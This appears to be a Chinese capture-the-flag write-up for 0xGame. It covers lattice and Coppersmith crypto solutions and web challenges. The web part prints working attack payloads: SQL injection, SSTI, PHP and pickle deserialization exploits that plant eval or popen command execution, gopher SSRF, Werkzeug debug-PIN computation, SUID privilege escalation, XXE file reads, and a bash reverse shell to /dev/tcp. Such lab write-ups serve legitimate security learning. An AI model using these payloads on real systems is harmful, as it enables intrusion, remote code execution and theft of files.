31
from Crypto.Util.number import getPrime, inverse
from secret import seed, flag
from hashlib import md5

def MD5(m):return md5(str(m).encode()).hexdigest()
assert flag == '0xGame{' + MD5(seed) + '}'
assert seed.bit_length() == 510

class LuanGao:
def __init__(self, bits:int, seed:int):
self.bits = bits
self.m = getPrime(self.bits)
self.a = getPrime(self.bits // 2)
self.cur = (self.a * seed) % self.m

def extract(self):
ret = self.cur
b = getPrime(self.bits // 4)
self.cur = ( self.a * self.cur + b ) % self.m
return ret

C = LuanGao(512, seed)
Cs = [C.extract() for _ in range(5)]

print(f'Cs = {Cs}')
print(f'C.m = {C.m}')

'''
Cs = [11804527453299586684489593808016317337345238230165321056832279785591503368758306671170625597063579251464905729051049524014502008954170088604924368057540940, 4930922884306486570759661288602557428608315558804950537470100263019228888817481617065454705843164809506859574053884206133344549895853064735361336486560981, 5380263856446165449531647111260010594620416730932539097782399557603420658350407080366132490174060420530708293564252852668431923560882648691392446521188465, 10746696290782998433216934286282230556131938525513632178308443345441147075710552571129957873399395862207656161609046567289600084193860244770966610161184627, 2195032957511830992558961021566904850278796737316238566513837995297394215638259916944087623923636789312134734949452839561765171446217520081402769962517110]
C.m = 12813864523019740432913161815051292412705285817864701047922722497269479288096574264414061282833203433542813637861620032851255308640850882149603687035724753
'''

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from hashlib import md5

def MD5(m):return md5(str(m).encode()).hexdigest()
n = 12813864523019740432913161815051292412705285817864701047922722497269479288096574264414061282833203433542813637861620032851255308640850882149603687035724753
x = [11804527453299586684489593808016317337345238230165321056832279785591503368758306671170625597063579251464905729051049524014502008954170088604924368057540940, 4930922884306486570759661288602557428608315558804950537470100263019228888817481617065454705843164809506859574053884206133344549895853064735361336486560981, 5380263856446165449531647111260010594620416730932539097782399557603420658350407080366132490174060420530708293564252852668431923560882648691392446521188465, 10746696290782998433216934286282230556131938525513632178308443345441147075710552571129957873399395862207656161609046567289600084193860244770966610161184627, 2195032957511830992558961021566904850278796737316238566513837995297394215638259916944087623923636789312134734949452839561765171446217520081402769962517110]

Ge = Matrix(QQ,6,6)

for i in range(4):
Ge[i,i] = n
Ge[-2,i] = x[i]
Ge[-1,i] = x[i+1]

Ge[-1,-1] = 2^510
Ge[-2,-2] = 1

for i in Ge.LLL():
if abs(i[-1]) == 2^510:
a = int(abs(i[-2]))
s=int((inverse_mod(a,n)*x[0])%n)
flag='0xGame{' + MD5(s) + '}'
print(flag)

运行得到

最后flag为

1
0xGame{2db84757dd4197f9b9441be25f35bfd5}

LLL-III

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from Crypto.Util.number import *
from secret import seed,flag
from hashlib import md5

def MD5(m):return md5(str(m).encode()).hexdigest()
assert flag == '0xGame{' + MD5(seed) + '}'
assert seed.bit_length() == 256

class LCG:
def __init__(self,bits:int,seed:int):
self.m = getPrime(bits+1)
self.a = getPrime(bits)
self.b = getPrime(bits)
self.cur = ( self.a * seed + self.b ) % self.m

def extract(self):
ret=self.cur >> 115
self.cur = ( self.a * self.cur + self.b ) % self.m
return ret

lcg=LCG(bits=256,seed=seed)

out = []
for _ in range(20):
out.append(lcg.extract())

print(f'm = {lcg.m}')
print(f'a = {lcg.a}')
print(f'b = {lcg.b}')
print(f'out = {out}')
'''
m = 181261975027495237253637490821967974838107429001673555664278471721008386281743
a = 80470362380817459255864867107210711412685230469402969278321951982944620399953
b = 108319759370236783814626433000766721111334570586873607708322790512240104190351
out = [2466192191260213775762623965067957944241015, 1889892785439654571742121335995798632991977, 1996504406563642240453971359031130059982231, 1368301121255830077201589128570528735229741, 3999315855035985269059282518365581428161659, 3490328920889554119780944952082309497051942, 2702734706305439681672702336041879391921064, 2326204581109089646336478471073693577206507, 3428994964289708222751294105726231092393919, 1323508022833004639996954642684521266184999, 2208533770063829989401955757064784165178629, 1477750588164311737782430929424416735436445, 973459098712495505430270020597437829126313, 1849038140302190287389664531813595944725351, 1172797063262026799163573955315738964605214, 1754102136634863587048191504998276360927339, 113488301052880487370840486361933702579704, 2862768938858887304461616362462448055940670, 3625957906056311712594439963134739423933712, 3922085695888226389856345959634471608310638]
'''

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from Crypto.Cipher import AES
from Crypto.Util.number import *
from hashlib import md5

def MD5(m):return md5(str(m).encode()).hexdigest()

m = 181261975027495237253637490821967974838107429001673555664278471721008386281743
a = 80470362380817459255864867107210711412685230469402969278321951982944620399953
b = 108319759370236783814626433000766721111334570586873607708322790512240104190351
c = [2466192191260213775762623965067957944241015, 1889892785439654571742121335995798632991977, 1996504406563642240453971359031130059982231, 1368301121255830077201589128570528735229741, 3999315855035985269059282518365581428161659, 3490328920889554119780944952082309497051942, 2702734706305439681672702336041879391921064, 2326204581109089646336478471073693577206507, 3428994964289708222751294105726231092393919, 1323508022833004639996954642684521266184999, 2208533770063829989401955757064784165178629, 1477750588164311737782430929424416735436445, 973459098712495505430270020597437829126313, 1849038140302190287389664531813595944725351, 1172797063262026799163573955315738964605214, 1754102136634863587048191504998276360927339, 113488301052880487370840486361933702579704, 2862768938858887304461616362462448055940670, 3625957906056311712594439963134739423933712, 3922085695888226389856345959634471608310638]

h = [0] + c

length = len(h)
for i in range(length):
h[i] <<= 115

A = [1]
B = [0]

for i in range(1, len(h)-1):
A.append(a*A[i-1] % m)
B.append((a*B[i-1]+a*h[i]+b-h[i+1]) % m)

A = A[1:]
B = B[1:]

Ge = Matrix(ZZ,length,length)

for i in range(len(A)):
Ge[i,i] = m
Ge[-2,i] = A[i]
Ge[-1,i] = B[i]

K = 2**115
Ge[-2,-2] = 1
Ge[-1,-1] = K

for line in Ge.LLL():
if abs(line[-1]) == K:
L1 = line[-2]
seed1 = h[1] + L1
seed = (seed1 - b) * inverse(a,m) % m
print(f"seed = {seed}")
print('0xGame{' + MD5(seed) + '}')

运行得到

最后flag为

1
0xGame{459049e068d93f6d70f1ea0da705264a}

Coppersmith-I

下载附件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import bytes_to_long
from secret import flag

q = getPrime(512)
p = getPrime(512)
e = 65537
N = p * q
h = q >> 253
m = bytes_to_long(flag)
c = pow(m,e,N)

print(f'N = {N}')
print(f'e = {e}')
print(f'c = {c}')
print(f'h = {h}')

'''
N = 135500646574582511239845764710311769260801998982429500680171919823431178899526463566215834234383331374445093363969218810906991784569340270510936759183504496584225937614940086329775325893307453919055830270986601152002191368431527285285313669979358099782497422114870417519470053198217401297960844455029559146309
e = 65537
c = 41763956818640145556632229720626372656921875856507389014855753965024986594502113237270745517422792354256348958542864591249410500750410658988509136242435502259172258432676502846729088278202750721760451160668653746019965695721844819587671602925551448624324524027931677927410810126647175483982178300855471710099
h = 918578024558168836638919636090777586135497638818209533615420650282292168631485
'''

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import getPrime, inverse, long_to_bytes
from tqdm import tqdm
N =
1355006465745825112398457647103117692608019989824295006801719198234311788995264
6356621583423438333137444509336396921881090699178456934027051093675918350449658
4225937614940086329775325893307453919055830270986601152002191368431527285285313
669979358099782497422114870417519470053198217401297960844455029559146309
length = 253
fix = 8
assert length - fix == 245
q_msb =
918578024558168836638919636090777586135497638818209533615420650282292168631485
P.<x> = PolynomialRing(Zmod(N))
for i in tqdm(range(2**fix)):
#print(f'i = {i}')
f = x + (q_msb << length) + (i << (length - fix))
root = f.small_roots(X = 2**(length - fix), beta=0.49, epsilon=0.02)
if root != []:
print(root)
print(f'i = {i}')
break
q = root[0] + (q_msb << length) + (i << (length - fix))
p = N//int(q)
c =
4176395681864014555663222972062637265692187585650738901485575396502498659450211
3237270745517422792354256348958542864591249410500750410658988509136242435502259
1722584326765028467290882782027507217604511606686537460199656957218448195876716
02925551448624324524027931677927410810126647175483982178300855471710099
e = 65537
phi = (q-1)*(p-1)
d = inverse(e,phi)
m = pow(c,d,N)
print(long_to_bytes(m))

web

hello_web

ctrl+u查看网页源码

访问/f14g.php

查看响应头部

最后flag为

1
0xGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}

hello_http

hackbar一把梭

最后flag为

1
0xgame{1cd6a904-725f-11ef-aafb-d4d8533ec05c}

ez_sql

sqlite注入

1
1 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

最后flag为

1
0xGame{Do_not_Use_SqlMap!_Try_it_By_Your_Self}

ez_rce

payload

1
114 1000 * 514 + p; !env

最后flag为

1
0xGame{Do_You_Know_gtfobins?Try_To_Use_It!}

ez_ssti

payload

1
{{lipsum.__globals__['os']['getenv']('flag')}}

最后flag为

1
0xGame{Do_You_Want_To_Be_A_SSTI_Master?}

ez_unser

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
class Man{
private $name="原神,启动";
public function __construct(){
$this->name = new What();
}
}
class What{
private $Kun="两年半";
public function __construct(){
$this->Kun = new Can();
}

}
class Can{
private $Hobby="唱跳rap篮球";
public function __construct(){
$this->Hobby = new I();
}
}
class I{
private $name="Kobe";
public function __construct() {
$this->name = new Say();
}
}
class Say{
private $evil;
public function __construct() {
// 交换两行的注释,完成两次不同的反序列化
$this->evil = new Mamba();
// $this->evil = new Out();
}
}
class Mamba{
// content = "<?php eval($_POST['a']);"
}
class Out{
// o = time().".log"
// n = "evil.php"
}

echo urlencode(serialize(new Man()));

payload

1
O%3A3%3A%22Man%22%3A1%3A%7Bs%3A9%3A%22%00Man%00name%22%3BO%3A4%3A%22What%22%3A1%3A%7Bs%3A9%3A%22%00What%00Kun%22%3BO%3A3%3A%22Can%22%3A1%3A%7Bs%3A10%3A%22%00Can%00Hobby%22%3BO%3A1%3A%22I%22%3A1%3A%7Bs%3A7%3A%22%00I%00name%22%3BO%3A3%3A%22Say%22%3A1%3A%7Bs%3A9%3A%22%00Say%00evil%22%3BO%3A5%3A%22Mamba%22%3A0%3A%7B%7D%7D%7D%7D%7D%7D

ez_login

admin:admin123 登陆拿flag

最后flag为

1
0xGame{It_Is_Easy_Right?}

hello_include

访问/phpinfo.php得到flag文件位置

payload

1
f1Ie=/s3cr3t/f14g

最后flag为

1
0xgame{4fdbe53f-53c0-4b04-966a-13fd3c9b9f2e}

hello_shell

payload

1
?cmd=cat%09/readME>1.txt

suid提权

1
?cmd=find%09/%09-perm%09-4000%092>/dev/null>1.txt

wc提权

1
/var/www/html/wc --files0-from "/flag"

baby_pickle

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import pickle
from flask import Flask, request
from base64 import b64decode

app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']


class User:
username = None
password = None


@app.route('/')
def index():
return open(__file__).read()


@app.route('/login', methods=['POST'])
def login():
data = request.form.get('data')
if data is not None:
opcode = b64decode(data)
for word in BlackList:
if word in opcode:
return "Hacker!"
user = pickle.loads(opcode)
print(user)
return "<h1>Hello {}</h1>".format(user.username)
else:
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys() and password == UserPool[username].password:
return "<h1>Hello {}</h1>".format(User.username)


@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys():
return "<h1>用户{}已存在</h1>".format(username)
UserPool[username] = password
return "<h1>注册成功</h1>"


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

exp:

1
2
3
4
5
6
7
8
9
import pickle
import base64

opcode = b'''(S'eval("__import__('sy'+'s').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda:__import__('o'+'s').po"+"pen(request.args.get('cmd')).read())")'
i__builtin__
eval
.'''
data = base64.b64encode(opcode)
print(data)

baby_ssrf

payload

1
visit?url=gopher://127.0.0.2:8000/_POST%2520%252Fcmd%2520HTTP%252F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-form-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv

最后flag为

1
0xGame{GOPHER_PROTOCOL_HAS_MAGIC!} 

baby_pe

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
print(request.user_agent.string.lower().find("mozi"))
return open(__file__).read()


@app.route('/fileread')
def read_file():
filename = request.args.get('filename')
return open(filename).read()


if __name__ == "__main__":
app.run(debug=True, host="0.0.0.0", port=8000)

计算pin码

需要获取到的数据有当前的用户名和flask 的app.py 的路径

1
用户名是app,路径为/usr/local/lib/python3.9/site-packages/flask/app.py

读网卡

转十进制

1
2485377892355

读取machine-id

/proc/sys/kernel/random/boot_id和/proc/self/cgroup拼接

1
9d9d9d39-25bb-4420-863e-53d56a06098b

/proc/self/cgroup是空的,最后machine-id为

1
9d9d9d39-25bb-4420-863e-53d56a06098b

计算pin

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import hashlib
from itertools import chain

probably_public_bits = [
'app', #/etc/passwd
'flask.app', #默认值
'Flask', #默认值
'/usr/local/lib/python3.9/site-packages/flask/app.py' #moddir,报错得到
]

mac = '02:42:ac:11:00:03'

mac = int('0x' + mac.replace(':', ''), 16)

'''
machine-id:
machine-id是通过**三个文件**里面的内容经过处理后拼接起来

1. /etc/machine-id*一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面
文件12按顺序读,**12只要读到一个**就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)
'''

private_bits = [
str(mac), # /sys/class/net/eth0/address 十进制
'9d9d9d39-25bb-4420-863e-53d56a06098b'
#看上面machine-id部分
]

# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

运行得到

得到pin值

1
881-511-160

访问/console

find提权

1
2
import os
os.popen('find main.py -exec cat /root/flag \;').read()

最后flag为

1
0xGame{You_Are_The_Privilege_Escalation_Master!}

baby_xxe

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = "http://gz.imxbt.cn:20117/parse"

xml = '''<?xml version="1.0"?>

<!DOCTYPE test[
<!ENTITY nn SYSTEM "file:///flag">
]>

<user>
<name>&nn;</name>
<age>18</age>
</user>'''

response = requests.post(url, data={"xml": xml})

print(response.text)

运行得到

最后flag为

1
0xGame{114514_XXE_114514_XXE}

hello_jwt

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import flask
from flask import *
import os
import jwt
from key import KEY, FLAG

users = {}
app = flask.Flask(__name__)


@app.route("/")
def index():
file_path = os.path.abspath(__file__)
with open(file_path, "r", encoding="utf-8") as file:
code = file.read()
return render_template("index.html", code=code)


@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
role = "guest"
if username in users:
return "User already exists"
users[username] = {"password": password, "role": role}
return redirect(url_for("login"), code=302)
return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
if request.method == "POST":
username = request.form.get("username")
password = request.form.get("password")
if username not in users:
return "User does not exist"
if users[username]["password"] != password:
return "Invalid password"
payload = {"username": username, "role": users[username]["role"]}
try:
token = jwt.encode(payload, KEY, algorithm="HS256")
response = make_response(redirect(url_for("flag"), code=302))
response.set_cookie("token", token)
return response
except Exception as e:
return str(e)
return render_template("login.html")


@app.route("/flag", methods=["GET"])
def flag():
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(token, KEY, algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "admin":
return "Only admin can view the flag"
return FLAG


@app.route("/hint1", methods=["GET"])
def hint1():
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(
token, KEY, algorithms=["HS256"], options={"verify_signature": False}
)
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "Please, give me the hint":
return "Beg me for the hint"
return render_template("hint1.html")


@app.route("/hint2", methods=["GET"])
def hint2():
tmp_key = (
"Very very long and include many !@#$)*$&@) so you can't crack's secret key"
)
token = request.cookies.get("token")
if not token:
return redirect(url_for("login"), code=302)
try:
payload = jwt.decode(token, tmp_key, algorithms=["HS256"])
except jwt.ExpiredSignatureError:
return "Token expired"
except jwt.InvalidTokenError:
return "Invalid token"
if payload["role"] != "But, I can see the temporary key":
return "Beg me for the hint"
return render_template("hint2.html")


if __name__ == "__main__":
app.run(host="0.0.0.0", port=3000)

jyw伪造,密钥直接爆破

最后flag为

1
0xgame{883fa114-ebf3-4ea9-b8cd-366f3ba846e7}

basic_pwn

payload

1
2
3
4
5
6
{
"name": [
"eval",
"__import__(\"os\").popen(\"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'\").read()"
]
}

最后flag为

1
0xGame{Pwn_Is_Intersting!}

basic_flask

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from flask import Flask, request
import json

app = Flask(__name__)

'''
'''
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


class Dst():
def __init__(self):
pass


dst = Dst()


@app.route('/',methods=['GET','POST'])
def index():
if request.method=='GET':
return open("main.py").read()
merge(request.get_json(), dst)
return "Success"


if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

原型污染链

1
{"__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}

访问路由得到

最后flag为

1
0xGame{Try_To_Hack_Flask!}

文章作者: yiqing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 yiqing !
  目录